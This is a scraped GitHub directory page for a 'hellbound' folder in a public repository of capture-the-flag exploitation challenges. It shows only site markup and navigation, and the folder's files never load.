1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> vital-information-resource-under-siege </span> <span>/</span> PWN-Challenges
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":334582086,"originating_url":"https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/hellbound","user_id":null}}" data-hydro-click-hmac="089cda1d912345f822a0c0617a597288dd2c5d0a89f9fa23a8ade87f93296272"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/vital-information-resource-under-siege/PWN-Challenges/refs" cache-key="v0:1653307508.128077" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="dml0YWwtaW5mb3JtYXRpb24tcmVzb3VyY2UtdW5kZXItc2llZ2UvUFdOLUNoYWxsZW5nZXM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>hellbound<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>PWN-Challenges</span></span></span><span>/</span><span><span>cyber-apocalypse2022</span></span><span>/</span>hellbound<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/tree-commit/007d602d070b42ca7d4803a6591f39e80e9926de/cyber-apocalypse2022/hellbound" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/vital-information-resource-under-siege/PWN-Challenges/file-list/main/cyber-apocalypse2022/hellbound"> Permalink
